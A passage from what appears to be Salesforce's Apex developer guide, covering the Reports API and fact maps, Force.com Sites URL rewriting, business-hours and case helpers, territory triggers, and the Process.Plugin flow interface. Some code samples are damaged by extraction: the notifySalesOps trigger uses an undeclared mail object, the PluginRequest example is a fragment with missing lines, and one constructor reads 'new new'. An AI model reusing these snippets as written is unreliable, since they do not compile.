To run a report asynchronously, use one of the ReportManager.runAsyncReport() methods. For example:
// Run the report

Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('Asynchronous instance: ' + instance);
List Asynchronous Runs of a Report

You can retrieve up to 2,000 instances of a report that you ran asynchronously.
The instance list is sorted by the date and time when the report was run. Report results are stored for a rolling 24-hour period. During
this time, based on your user access level, you can access results for each instance of the report that was run.
Example: You can get the instance list by calling the ReportManager.getReportInstances method. For example:
// Run a report asynchronously

Reports.ReportInstance instance = Reports.ReportManager.runAsyncReport(reportId, true);
System.debug('List of asynchronous runs: ' +
Reports.ReportManager.getReportInstances(reportId));
Get Report Metadata

You can retrieve report metadata to get information about a report and its report type.
Metadata includes information about fields that are used in the report for filters, groupings, detailed data, and summaries. You can use
the metadata to do several things:
• Find out what fields and values you can filter on in the report type.
• Build custom chart visualizations by using the metadata information on fields, groupings, detailed data, and summaries.
• Change filters in the report metadata when you run a report.
Use the ReportResults.getReportMetadata method to retrieve report metadata. You can then use the “get” methods on
the ReportMetadata class to access metadata values.
Example: The following example retrieves metadata for a report.

441
// Run a report
Reports.ReportResults results = Reports.ReportManager.runReport(reportId);
// Get the report metadata

Reports.ReportMetadata rm = results.getReportMetadata();
System.debug('Name: ' + rm.getName());
System.debug('ID: ' + rm.getId());
System.debug('Currency code: ' + rm.getCurrencyCode());
System.debug('Developer name: ' + rm.getDeveloperName());
// Get grouping info for first grouping

Reports.GroupingInfo gInfo = rm.getGroupingsDown()[0];
System.debug('Grouping name: ' + gInfo.getName());
System.debug('Grouping sort order: ' + gInfo.getSortOrder());
System.debug('Grouping date granularity: ' + gInfo.getDateGranularity());
// Get aggregates
System.debug('First aggregate: ' + rm.getAggregates()[0]);
System.debug('Second aggregate: ' + rm.getAggregates()[1]);
// Get detail columns

System.debug('Detail columns: ' + rm.getDetailColumns());
// Get report format

System.debug('Report format: ' + rm.getReportFormat());
Get Report Data

You can use the ReportResults class to get the fact map, which contains data that’s associated with a report.
Example: To access data values of the fact map, you can map grouping value keys to the corresponding fact map keys. In the
following example, imagine that you have an opportunity report that’s grouped by close month, and you’ve summarized the
amount field. To get the value for the summary amount for the first grouping in the report:
1. Get the first down-grouping in the report by using the ReportResults.getGroupingsDown method and accessing
the first GroupingValue object.
2. Get the grouping key value from the GroupingValue object by using the getKey method.
3. Construct a fact map key by appending '!T'to this key value. The resulting fact map key represents the summary value for
the first down-grouping.
4. Get the fact map from the report results by using the fact map key.
5. Get the first summary amount value by using the ReportFact.getAggregates method and accessing the first
SummaryValue object.
6. Get the field value from the first data cell of the first row of the report by using the ReportFactWithDetails.getRows
method.
442
// Run a report synchronously

Reports.reportResults results = Reports.ReportManager.runReport(reportId, true);
// Get the first down-grouping in the report

Reports.Dimension dim = results.getGroupingsDown();
Reports.GroupingValue groupingVal = dim.getGroupings()[0];
System.debug('Key: ' + groupingVal.getKey());
System.debug('Label: ' + groupingVal.getLabel());
System.debug('Value: ' + groupingVal.getValue());
// Construct a fact map key, using the grouping key value

String factMapKey = groupingVal.getKey() + '!T';
// Get the fact map from the report results

Reports.ReportFactWithDetails factDetails =
(Reports.ReportFactWithDetails)results.getFactMap().get(factMapKey);
// Get the first summary amount from the fact map

Reports.SummaryValue sumVal = factDetails.getAggregates()[0];
System.debug('Summary Value: ' + sumVal.getLabel());
// Get the field value from the first data cell of the first row of the report
Reports.ReportDetailRow detailRow = factDetails.getRows()[0];
System.debug(detailRow.getDataCells()[0].getLabel());
Filter Reports
To get specific results on the fly, you can filter reports through the API.
Changes to filters that are made through the API don’t affect the source report definition. Using the API, you can filter with up to 20
custom field filters and add filter logic (such as AND and OR). But standard filters (such as range), filtering by row limit, and cross filters
are unavailable.
Before you filter a report, it’s helpful to check the following filter values in the metadata.
• The ReportTypeColumn.getFilterable method tells you whether a field can be filtered.
• The ReportTypeColumn.filterValues method returns all filter values for a field.
• The ReportManager.dataTypeFilterOperatorMap method lists the field data types that you can use to filter the
report.
• The ReportMetadata.getReportFilters method lists all filters that exist in the report.
You can filter reports during synchronous or asynchronous report runs.
Example: To filter a report, set filter values in the report metadata and then run the report. The following example retrieves the
report metadata, overrides the filter value, and runs the report. The example:
1. Retrieves the report filter object from the metadata by using the ReportMetadata.getReportFilters method.
2. Sets the value in the filter to a specific date by using the ReportFilter.setValue method and runs the report.
3. Overrides the filter value to a different date and runs the report again.
443
The output for the example shows the differing grand total values, based on the date filter that was applied.
// Get the report metadata

Reports.ReportDescribeResult describe = Reports.ReportManager.describeReport(reportId);
Reports.ReportMetadata reportMd = describe.getReportMetadata();
// Override filter and run report

Reports.ReportFilter filter = reportMd.getReportFilters()[0];
filter.setValue('2013-11-01');
Reports.ReportResults results = Reports.ReportManager.runReport(reportId, reportMd);
Reports.ReportFactWithSummaries factSum =
(Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for November: ' + factSum.getAggregates()[0].getLabel());
// Override filter and run report

filter = reportMd.getReportFilters()[0];
filter.setValue('2013-10-01');
results = Reports.ReportManager.runReport(reportId, reportMd);
factSum = (Reports.ReportFactWithSummaries)results.getFactMap().get('T!T');
System.debug('Value for October: ' + factSum.getAggregates()[0].getLabel());
Decode the Fact Map

The fact map contains the summary and record-level data values for a report.
Depending on how you run a report, the fact map in the report results can contain values for only summary or both summary and
detailed data. The fact map values are expressed as keys, which you can programmatically use to visualize the report data. Fact map
keys provide an index into each section of a fact map, from which you can access summary and detailed data.
The pattern for the fact map keys varies by report format as shown in this table.
Report Fact map key pattern

format
Tabular T!T: The grand total of a report. Both record data values and the grand total are represented by this key.
Summary <First level row grouping_second level row grouping_third level row
grouping>!T: T refers to the row grand total.
Matrix <First level row grouping_second level row grouping>!<First level column
grouping_second level column grouping>.
Each item in a row or column grouping is numbered starting with 0. Here are some examples of fact map keys:
Fact Map Description

Key
0!T The first item in the first-level grouping.
444
Fact Map Description

Key
1!T The second item in the first-level grouping.
0_0!T The first item in the first-level grouping and the first item in the second-level grouping.
0_1!T The first item in the first-level grouping and the second item in the second-level grouping.
Let’s look at examples of how fact map keys represent data as it appears in a Salesforce tabular, summary, or matrix report.
Tabular Report Fact Map

Here’s an example of an opportunities report in tabular format. Since tabular reports don’t have groupings, all of the record level data
and summaries are expressed by the T!T key, which refers to the grand total.
Summary Report Fact Map

This example shows how the values in a summary report are represented in the fact map.
445
Fact Map Key Description
0!T Summary for the value of opportunities in the Prospecting stage.
1_0!T Summary of the probabilities for the Manufacturing opportunities in the Needs Analysis stage.
Matrix Report Fact Map

Here’s an example of some fact map keys for data in a matrix opportunities report with a couple of row and column groupings.
Fact Map Key Description

0!0 Total opportunity amount in the Prospecting stage in Q4 2010.
0_0!0_0 Total opportunity amount in the Prospecting stage in the Manufacturing sector in October 2010.
2_1!1_1 Total value of opportunities in the Value Proposition stage in the Technology sector in February 2011.
T!T Grand total summary for the report.
Test Reports
Like all Apex code, Salesforce Reports and Dashboards API via Apex code requires test coverage.
The Reporting Apex methods don’t run in system mode, they run in the context of the current user (also called the context user or the
logged-in user). The methods have access to whatever the current user has access to.
446
In Apex tests, report runs always ignore the SeeAllData annotation, regardless of whether the annotation is set to true or false.
This means that report results will include pre-existing data that the test didn’t create. There is no way to disable the SeeAllData
annotation for a report execution. To limit results, use a filter on the report.
Example: Create a Reports Test Class

The following example tests asynchronous and synchronous reports. Each method:
• Creates a new Opportunity object and uses it to set a filter on the report.
• Runs the report.
• Calls assertions to validate the data.
Note: In Apex tests, asynchronous reports execute only after the test is stopped using the Test.stopTest method.
@isTest
public class ReportsInApexTest{
@isTest(SeeAllData='true')
public static void testAsyncReportWithTestData() {

// Create an Opportunity object.

Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;
Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Test.startTest();
Reports.ReportInstance instanceObj =
Reports.ReportManager.runAsyncReport(reportId,reportMetadata,false);
String instanceId = instanceObj.getId();
// Report instance is not available yet.

Test.stopTest();
// After the stopTest method, the report has finished executing
// and the instance is available.
instanceObj = Reports.ReportManager.getReportInstance(instanceId);
System.assertEquals(instanceObj.getStatus(),'Success');
Reports.ReportResults result = instanceObj.getReportResults();
447
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
@isTest(SeeAllData='true')
public static void testSyncReportWithTestData() {
// Create an Opportunity Object.

Opportunity opp = new Opportunity(Name='ApexTestOpp', StageName='stage',
Probability = 95, CloseDate=system.today());
insert opp;

Reports.ReportMetadata reportMetadata =
Reports.ReportManager.describeReport(reportId).getReportMetadata();
// Add a filter.
List<Reports.ReportFilter> filters = new List<Reports.ReportFilter>();
Reports.ReportFilter newFilter = new Reports.ReportFilter();
newFilter.setColumn('OPPORTUNITY_NAME');
newFilter.setOperator('equals');
newFilter.setValue('ApexTestOpp');
filters.add(newFilter);
reportMetadata.setReportFilters(filters);
Reports.ReportResults result =
Reports.ReportManager.runReport(reportId,reportMetadata,false);
Reports.ReportFact grandTotal = (Reports.ReportFact)result.getFactMap().get('T!T');
System.assertEquals(1,(Decimal)grandTotal.getAggregates().get(1).getValue());
}
}
Force.com Sites
Force.com Sites lets you build custom pages and Web applications by inheriting Force.com capabilities including analytics, workflow
and approvals, and programmable logic.
You can manage your Force.com sites in Apex using the methods of the Site and Cookie classes.
IN THIS SECTION:
Rewrite URLs for Force.com Sites
SEE ALSO:
Site Class
448
Rewrite URLs for Force.com Sites

Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed
into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index
your site pages.
For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN
With URL rewriting, your users can access blog posts by date and title, say, instead of by record ID. The URL for one of your New Year's
Eve posts might be: http://myblog.force.com/posts/2009/12/31/auld-lang-syne
You can also rewrite URLs for links shown within a site page. If your New Year's Eve post contained a link to your Valentine's Day post,
the link URL might show: http://myblog.force.com/posts/2010/02/14/last-minute-roses
To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your
site.
To learn about the methods in the Site.UrlRewriter interface, see UrlRewriter Interface.
Creating the Apex Class

The Apex class that you create must implement the Force.com provided interface Site.UrlRewriter. In general, it must have
the following form:
global class yourClass implements Site.UrlRewriter {
global PageReference mapRequestUrl(PageReference
yourFriendlyUrl)
global PageReference[] generateUrlFor(PageReference[]
yourSalesforceUrls);
}
Consider the following restrictions and recommendations as you create your Apex class:
Class and Methods Must Be Global
The Apex class and methods must all be global.
Class Must Include Both Methods
The Apex class must implement both the mapRequestUrl and generateUrlFor methods. If you don't want to use one
of the methods, simply have it return null.
Rewriting Only Works for Visualforce Site Pages
Incoming URL requests can only be mapped to Visualforce pages associated with your site. You can't map to standard pages, images,
or other entities.
To rewrite URLs for links on your site's pages, use the !URLFOR function with the $Page merge variable. For example, the
following links to a Visualforce page named myPage:
<apex:outputLink value="{!URLFOR($Page.myPage)}"></apex:outputLink>
Note: Visualforce <apex:form> elements with forceSSL=”true” aren't affected by the urlRewriter.
See the “Functions” appendix of the Visualforce Developer's Guide.

Encoded URLs
The URLs you get from using the Site.urlRewriter interface are encoded. If you need to access the unencoded values of
your URL, use the urlDecode method of the EncodingUtil Class.
449
Restricted Characters
User-friendly URLs must be distinct from Salesforce URLs. URLs with a 3-character entity prefix or a 15- or 18-character ID aren’t
rewritten.
You can’t use periods in your user-friendly or rewritten URLs, except for the .well-known path component, which can’t be used
at the end of a URL.
Restricted Strings
You can’t use the following reserved strings as the first path component after a site’s base URL in either a user-friendly URL or a
rewritten URL. Some examples of the first past component after a site’s base URL are baseURL in https://sites.force.com/baseURL,
https://sites.force.com/pathPrefix/baseURL, https://custom-domain/pathPrefix/baseURL, and
https://sites.force.com/pathPrefix/baseURL/another/path.
• apexcomponent
• apexpages
• aura
• chatter
• chatteranswers
• chatterservice
• cometd
• ex
• faces
• flash
• flex
• google
• home
• id
• ideas
• idp
• images
• img
• javascript
• js
• knowledge
• lightning
• login
• m
• mobile
• ncsphoto
• nui
• push
• resource
• saml
• sccommunities
450
• search
• secur
• services
• servlet
• setup
• sfc
• sfdc
• sfdc_ns
• sfsites
• site
• style
• vote
• widg
You can't use the following reserved strings at the end of a rewritten URL path:
• /aura
• /auraFW
• /auraResource
• /AuraJLoggingRPCService
• /AuraJLVRPCService
• /AuraJRPCService
• /dbcthumbnail
• /HelpAndTrainingDoor
• /htmldbcthumbnail
• /l
• /m
• /mobile
Relative Paths Only
The PageReference.getUrl() method only returns the part of the URL immediately following the host name or site prefix (if any).
For example, if your URL is http://mycompany.force.com/sales/MyPage?id=12345, where “sales” is the site
prefix, only /MyPage?id=12345 is returned.
You can't rewrite the domain or site prefix.
Unique Paths Only
You can't map a URL to a directory that has the same name as your site prefix. For example, if your site URL is
http://acme.force.com/help, where “help” is the site prefix, you can't point the URL to help/page. The resulting
path, http://acme.force.com/help/help/page, would be returned instead as
http://acme.force.com/help/page.
Query in Bulk
For better performance with page generation, perform tasks in bulk rather than one at a time for the generateUrlFor method.
Enforce Field Uniqueness
Make sure the fields you choose for rewriting URLs are unique. Using unique or indexed fields in SOQL for your queries may improve
performance.
451
Adding URL Rewriting to a Site

Once you've created the URL rewriting Apex class, follow these steps to add it to your site:
1. From Setup, enter Sites in the Quick Find box, then select Sites.
2. Click New or click Edit for an existing site.
3. On the Site Edit page, choose an Apex class for URL Rewriter Class.
4. Click Save.
Note: If you have URL rewriting enabled on your site, all PageReferences are passed through the URL rewriter.
Code Example
In this example, we have a simple site consisting of two Visualforce pages: mycontact and myaccount. Be sure you have “Read” permission
enabled for both before trying the sample. Each page uses the standard controller for its object type. The contact page includes a link
to the parent account, plus contact details.
Before implementing rewriting, the address bar and link URLs showed the record ID (a random 15-digit string), illustrated in the “before”
figure. Once rewriting was enabled, the address bar and links show more user-friendly rewritten URLs, illustrated in the “after” figure.
The Apex class used to rewrite the URLs for these pages is shown in Example URL Rewriting Apex Class, with detailed comments.
Example Site Pages

This section shows the Visualforce for the account and contact pages used in this example.
The account page uses the standard controller for accounts and is nothing more than a standard detail page. This page should be named
myaccount.
<apex:page standardController="Account">
<apex:detail relatedList="false"/>
</apex:page>
The contact page uses the standard controller for contacts and consists of two parts. The first part links to the parent account using the
URLFOR function and the $Page merge variable; the second simply provides the contact details. Notice that the Visualforce page
doesn't contain any rewriting logic except URLFOR. This page should be named mycontact.
<apex:page standardController="contact">
<apex:pageBlock title="Parent Account">
<apex:outputLink value="{!URLFOR($Page.mycontact,null,
[id=contact.account.id])}">{!contact.account.name}
</apex:outputLink>
</apex:pageBlock>
<apex:detail relatedList="false"/>
</apex:page>
Example URL Rewriting Apex Class

The Apex class used as the URL rewriter for the site uses the mapRequestUrl method to map incoming URL requests to the right
Saleforce record. It also uses the generateUrlFor method to rewrite the URL for the link to the account page in a more user-friendly
form.
global with sharing class myRewriter implements Site.UrlRewriter {
452
//Variables to represent the user-friendly URLs for

//account and contact pages
String ACCOUNT_PAGE = '/myaccount/';
String CONTACT_PAGE = '/mycontact/';
//Variables to represent my custom Visualforce pages
//that display account and contact information
String ACCOUNT_VISUALFORCE_PAGE = '/myaccount?id=';
String CONTACT_VISUALFORCE_PAGE = '/mycontact?id=';
global PageReference mapRequestUrl(PageReference

myFriendlyUrl){
String url = myFriendlyUrl.getUrl();
if(url.startsWith(CONTACT_PAGE)){
//Extract the name of the contact from the URL
//For example: /mycontact/Ryan returns Ryan
String name = url.substring(CONTACT_PAGE.length(),
url.length());
//Select the ID of the contact that matches

//the name from the URL
Contact con = [SELECT Id FROM Contact WHERE Name =:
name LIMIT 1];
//Construct a new page reference in the form

//of my Visualforce page
return new PageReference(CONTACT_VISUALFORCE_PAGE + con.id);
}
if(url.startsWith(ACCOUNT_PAGE)){
//Extract the name of the account
String name = url.substring(ACCOUNT_PAGE.length(),
url.length());
//Query for the ID of an account with this name

Account acc = [SELECT Id FROM Account WHERE Name =:name LIMIT 1];
//Return a page in Visualforce format

return new PageReference(ACCOUNT_VISUALFORCE_PAGE + acc.id);
}
//If the URL isn't in the form of a contact or
//account page, continue with the request
return null;
}
global List<PageReference> generateUrlFor(List<PageReference>
mySalesforceUrls){
//A list of pages to return after all the links
//have been evaluated
List<PageReference> myFriendlyUrls = new List<PageReference>();
//a list of all the ids in the urls

List<id> accIds = new List<id>();
// loop through all the urls once, finding all the valid ids
for(PageReference mySalesforceUrl : mySalesforceUrls){
453
//Get the URL of the page

String url = mySalesforceUrl.getUrl();
//If this looks like an account page, transform it

if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
//Extract the ID from the query parameter
//and store in a list
//for querying later in bulk.
String id= url.substring(ACCOUNT_VISUALFORCE_PAGE.length(),
url.length());
accIds.add(id);
}
}
// Get all the account names in bulk

List <account> accounts = [SELECT Name FROM Account WHERE Id IN :accIds];
// make the new urls

Integer counter = 0;
// it is important to go through all the urls again, so that the order

// of the urls in the list is maintained.
for(PageReference mySalesforceUrl : mySalesforceUrls) {
//Get the URL of the page

String url = mySalesforceUrl.getUrl();
if(url.startsWith(ACCOUNT_VISUALFORCE_PAGE)){
myFriendlyUrls.add(new PageReference(ACCOUNT_PAGE + accounts.get(counter).name));
counter++;
} else {
//If this doesn't start like an account page,
//don't do any transformations
myFriendlyUrls.add(mySalesforceUrl);
}
}
//Return the full list of pages

return myFriendlyUrls;
}
Before and After Rewriting

Here is a visual example of the results of implementing the Apex class to rewrite the original site URLs. Notice the ID-based URLs in the
first figure, and the user-friendly URLs in the second.
454
Site URLs Before Rewriting
The numbered elements in this figure are:

1. The original URL for the contact page before rewriting
2. The link to the parent account page from the contact page
3. The original URL for the link to the account page before rewriting, shown in the browser's status bar
Site URLs After Rewriting
The numbered elements in this figure are:

1. The rewritten URL for the contact page after rewriting
2. The link to the parent account page from the contact page
3. The rewritten URL for the link to the account page after rewriting, shown in the browser's status bar
455
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
Working with Business Hours

Business hours are used to specify the hours at which your customer support team operates, including multiple business hours in multiple
time zones.
This example finds the time one business hour from startTime, returning the Datetime in the local time zone. It gets the default business
hours by querying BusinessHours. Also, it calls the BusinessHours add method.
// Get the default business hours
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];
// Create Datetime on May 28, 2008 at 1:06:08 AM in local timezone.

Datetime startTime = Datetime.newInstance(2008, 5, 28, 1, 6, 8);
// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in the local timezone.
Datetime nextTime = BusinessHours.add(bh.id, startTime, 60 * 60 * 1000L);
This example finds the time one business hour from startTime, returning the Datetime in GMT:
BusinessHours bh = [SELECT Id FROM BusinessHours WHERE IsDefault=true];

// Find the time it will be one business hour from May 28, 2008, 1:06:08 AM using the
// default business hours. The returned Datetime will be in GMT.
Datetime nextTimeGmt = BusinessHours.addGmt(bh.id, startTime, 60 * 60 * 1000L);
The next example finds the difference between startTime and nextTime:
BusinessHours bh = [select id from businesshours where IsDefault=true];

// Create Datetime on May 28, 2008 at 4:06:08 PM in local timezone.

Datetime endTime = Datetime.newInstance(2008, 5, 28, 16, 6, 8);
// Find the number of business hours milliseconds between startTime and endTime as
// defined by the default business hours. Will return a negative value if endTime is
// before startTime, 0 if equal, positive value otherwise.
Long diff = BusinessHours.diff(bh.id, startTime, endTime);
Working with Cases

Incoming and outgoing email messages can be associated with their corresponding cases using the Cases class
getCaseIdFromEmailThreadId method. This method is used with Email-to-Case, which is an automated process that turns
emails received from customers into customer service cases.
456
The following example uses an email thread ID to retrieve the related case ID.
public class GetCaseIdController {
public static void getCaseIdSample() {

// Get email thread ID
String emailThreadId = '_00Dxx1gEW._500xxYktg';
// Call Apex method to retrieve case ID from email thread ID
ID caseId = Cases.getCaseIdFromEmailThreadId(emailThreadId);
}
}
SEE ALSO:
BusinessHours Class
Cases Class
Territory Management 2.0

With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes related
to changes in these territory management records.
Sample Trigger for Territory2

This example trigger fires after Territory2 records have been created or deleted. This example trigger assumes that an organization has
a custom field called TerritoryCount__c defined on the Territory2Model object to track the net number of territories in each
territory model. The trigger code increments or decrements the value in the TerritoryCount__c field each time a territory is
created or deleted.
trigger maintainTerritoryCount on Territory2 (after insert, after delete) {
// Track the effective delta for each model
Map<Id, Integer> modelMap = new Map<Id, Integer>();
for(Territory2 terr : (Trigger.isInsert ? Trigger.new : Trigger.old)) {
Integer offset = 0;
if(modelMap.containsKey(terr.territory2ModelId)) {
offset = modelMap.get(terr.territory2ModelId);
}
offset += (Trigger.isInsert ? 1 : -1);
modelMap.put(terr.territory2ModelId, offset);
}
// We have a custom field on Territory2Model called TerritoryCount__c
List<Territory2Model> models = [SELECT Id, TerritoryCount__c FROM
Territory2Model WHERE Id IN :modelMap.keySet()];
for(Territory2Model tm : models) {
// In case the field is not defined with a default of 0
if(tm.TerritoryCount__c == null) {
tm.TerritoryCount__c = 0;
}
tm.TerritoryCount__c += modelMap.get(tm.Id);
}
// Bulk update the field on all the impacted models
457
update(models);
}
Sample Trigger for UserTerritory2Association

This example trigger fires after UserTerritory2Association records have been created. This example trigger sends an email notification to
the Sales Operations group letting them know that users have been added to territories. It identifies the user who added users to
territories. Then, it identifies each added user along with which territory the user was added to and which territory model the territory
belongs to.
trigger notifySalesOps on UserTerritory2Association (after insert) {
// Query the details of the users and territories involved
List<UserTerritory2Association> utaList = [SELECT Id, User.FirstName, User.LastName,
Territory2.Name, Territory2.Territory2Model.Name
FROM UserTerritory2Association WHERE Id IN :Trigger.New];
// Email message to send

mail.setToAddresses(new String[]{'salesOps@acme.com'});
mail.setSubject('Users added to territories notification');
// Build the message body

List<String> msgBody = new List<String>();
String addedToTerrStr = '{0}, {1} added to territory {2} in model {3} \n';
msgBody.add('The following users were added to territories by ' +
UserInfo.getFirstName() + ', ' + UserInfo.getLastName() + '\n');
for(UserTerritory2Association uta : utaList) {
msgBody.add(String.format(addedToTerrStr,
new String[]{uta.User.FirstName, uta.User.LastName,
uta.Territory2.Name, uta.Territory2.Territory2Model.Name}));
}
// Set the message body and send the email

mail.setPlainTextBody(String.join(msgBody,''));
Messaging.sendEmail(new Messaging.Email[] { mail });
}
Visual Workflow
Visual Workflow allows administrators to build applications, known as flows, that guide users through screens for collecting and updating
data.
For example, you can use Visual Workflow to script calls for a customer support center or to generate real-time quotes for a sales
organization. You can embed a flow in a Visualforce page and access it in a Visualforce controller using Apex.
IN THIS SECTION:
Getting Flow Variables
You can retrieve flow variables for a specific flow in Apex.
458
Passing Data to a Flow Using the Process.Plugin Interface

Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow.
The interface exposes Apex as a service, which accepts input values and returns output back to the flow.
Getting Flow Variables

You can retrieve flow variables for a specific flow in Apex.
The Flow.Interview Apex class provides the getVariableValue method for retrieving a flow variable, which can be in the
flow embedded in the Visualforce page, or in a separate flow that is called by a subflow element. This example shows how to use this
method to obtain breadcrumb (navigation) information from the flow embedded in the Visualforce page. If that flow contains subflow
elements, and each of the referenced flows also contains a vaBreadCrumb variable, the Visualforce page can provide users with
breadcrumbs regardless of which flow the interview is running.
public class SampleContoller {
// Instance of the flow

public Flow.Interview.Flow_Template_Gallery myFlow {get; set;}
public String getBreadCrumb() {

String aBreadCrumb;
if (myFlow==null) { return 'Home';}
else aBreadCrumb = (String) myFlow.getVariableValue('vaBreadCrumb');
return(aBreadCrumb==null ? 'Home': aBreadCrumb);
}
}
SEE ALSO:
Interview Class
Passing Data to a Flow Using the Process.Plugin Interface

Process.Plugin is a built-in interface that allows you to process data within your organization and pass it to a specified flow. The
interface exposes Apex as a service, which accepts input values and returns output back to the flow.
Tip: We recommend using the @InvocableMethod annotation instead of the Process.Plugin interface.
• The interface doesn’t support Blob, Collection, sObject, and Time data types, and it doesn’t support bulk operations. Once you
implement the interface on a class, the class can be referenced only from flows.
• The annotation supports all data types and bulk operations. Once you implement the annotation on a class, the class can be
referenced from flows, processes, and the Custom Invocable Actions REST API endpoint.
When you define an Apex class that implements the Process.Plugin interface in your organization, the Cloud Flow Designer
displays the Apex class in the Palette.
Process.Plugin has these top-level classes.
• Process.PluginRequest passes input parameters from the class that implements the interface to the flow.
• Process.PluginResult returns output parameters from the class that implements the interface to the flow.
• Process.PluginDescribeResult passes input parameters from a flow to the class that implements the interface. This
class determines the input parameters and output parameters needed by the Process.PluginResult plug-in.
459
When you write Apex unit tests, instantiate a class and pass it into the interface invoke method. To pass in the parameters that the
system needs, create a map and use it in the constructor. For more information, see Using the Process.PluginRequest Class on page 462.
IN THIS SECTION:
Implementing the Process.Plugin Interface
Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.
Using the Process.PluginRequest Class
The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
Using the Process.PluginResult Class
The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
Using the Process.PluginDescribeResult Class
Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the
flow. This method returns the Process.PluginDescribeResult class.
Process.Plugin Data Type Conversions
Understand how data types are converted between Apex and the values returned to the Process.Plugin. For example, text
data in a flow converts to string data in Apex.
Sample Process.Plugin Implementation for Lead Conversion
In this example, an Apex class implements the Process.Plugin interface and converts a lead into an account, contact, and
optionally, an opportunity. Test methods for the plug-in are also included. This implementation can be called from a flow via an
Apex plug-in element.
Implementing the Process.Plugin Interface

Process.Plugin is a built-in interface that allows you to pass data between your organization and a specified flow.
The class that implements the Process.Plugin interface must call these methods.
Name Arguments Return Type Description

describe Process.PluginDescribeResult Returns a
Process.PluginDescribeResult
object that describes this method call.
invoke Process.PluginRequest Process.PluginResult Primary method that the system invokes

when the class that implements the
interface is instantiated.
460
Example Implementation
global class flowChat implements Process.Plugin {
// The main method to be implemented. The Flow calls this at runtime.

global Process.PluginResult invoke(Process.PluginRequest request) {
// Get the subject of the Chatter post from the flow
String subject = (String) request.inputParameters.get('subject');
// Use the Chatter APIs to post it to the current user's feed

FeedItem fItem = new FeedItem();
fItem.ParentId = UserInfo.getUserId();
fItem.Body = 'Force.com flow Update: ' + subject;
insert fItem;
// return to Flow
Map<String,Object> result = new Map<String,Object>();
return new Process.PluginResult(result);
}
// Returns the describe information for the interface

global Process.PluginDescribeResult describe() {
Process.PluginDescribeResult result = new Process.PluginDescribeResult();
result.Name = 'flowchatplugin';
result.Tag = 'chat';
result.inputParameters = new
List<Process.PluginDescribeResult.InputParameter>{
new Process.PluginDescribeResult.InputParameter('subject',
Process.PluginDescribeResult.ParameterType.STRING, true)
};
result.outputParameters = new
List<Process.PluginDescribeResult.OutputParameter>{ };
return result;
}
}
Test Class
The following is a test class for the above class.
@isTest
private class flowChatTest {
static testmethod void flowChatTests() {
flowChat plugin = new flowChat();

Map<String,Object> inputParams = new Map<String,Object>();
string feedSubject = 'Flow is alive';

InputParams.put('subject', feedSubject);
Process.PluginRequest request = new Process.PluginRequest(inputParams);
461
plugin.invoke(request);
}
}
Using the Process.PluginRequest Class

The Process.PluginRequest class passes input parameters from the class that implements the interface to the flow.
This class has no methods.

Constructor signature:
Process.PluginRequest (Map<String,Object>)
Here’s an example of instantiating the Process.PluginRequest class with one input parameter.
Code Example
In this example, the code returns the subject of a Chatter post from a flow and posts it to the current user's feed.

FeedPost fpost = new FeedPost();
fpost.ParentId = UserInfo.getUserId();
fpost.Body = 'Force.com flow Update: ' + subject;
insert fpost;
// return to Flow
}
// describes the interface

result.inputParameters = new List<Process.PluginDescribeResult.InputParameter>{
462
};
result.outputParameters = new List<Process.PluginDescribeResult.OutputParameter>{
};
return result;
}
}
Using the Process.PluginResult Class

The Process.PluginResult class returns output parameters from the class that implements the interface to the flow.
You can instantiate the Process.PluginResult class using one of the following formats:
• Process.PluginResult (Map<String,Object>)
• Process.PluginResult (String, Object)
Use the map when you have more than one result or when you don't know how many results will be returned.
The following is an example of instantiating a Process.PluginResult class.
string url = 'https://docs.google.com/document/edit?id=abc';
String status = 'Success';
result.put('url', url);
result.put('status',status);
new Process.PluginResult(result);
Using the Process.PluginDescribeResult Class

Use the Process.Plugin interface describe method to dynamically provide both input and output parameters for the flow.
This method returns the Process.PluginDescribeResult class.
The Process.PluginDescribeResult class doesn’t support the following functions.

• Queries
• Data modification
• Email
• Apex nested callouts
463
Process.PluginDescribeResult Class and Subclass Properties

Here’s the constructor for the Process.PluginDescribeResult class.
Process.PluginDescribeResult classname = new Process.PluginDescribeResult();
• PluginDescribeResult Class Properties

• PluginDescribeResult.InputParameter Class Properties
• PluginDescribeResult.OutputParameter Class Properties
Here’s the constructor for the Process.PluginDescribeResult.InputParameter class.
Process.PluginDescribeResult.InputParameter ip = new
Process.PluginDescribeResult.InputParameter(Name,Optional_description_string,
Process.PluginDescribeResult.ParameterType.Enum, Boolean_required);
Here’s the constructor for the Process.PluginDescribeResult.OutputParameter class.
Process.PluginDescribeResult.OutputParameter op = new
new Process.PluginDescribeResult.OutputParameter(Name,Optional description string,
Process.PluginDescribeResult.ParameterType.Enum);
To use the Process.PluginDescribeResult class, create instances of these subclasses.

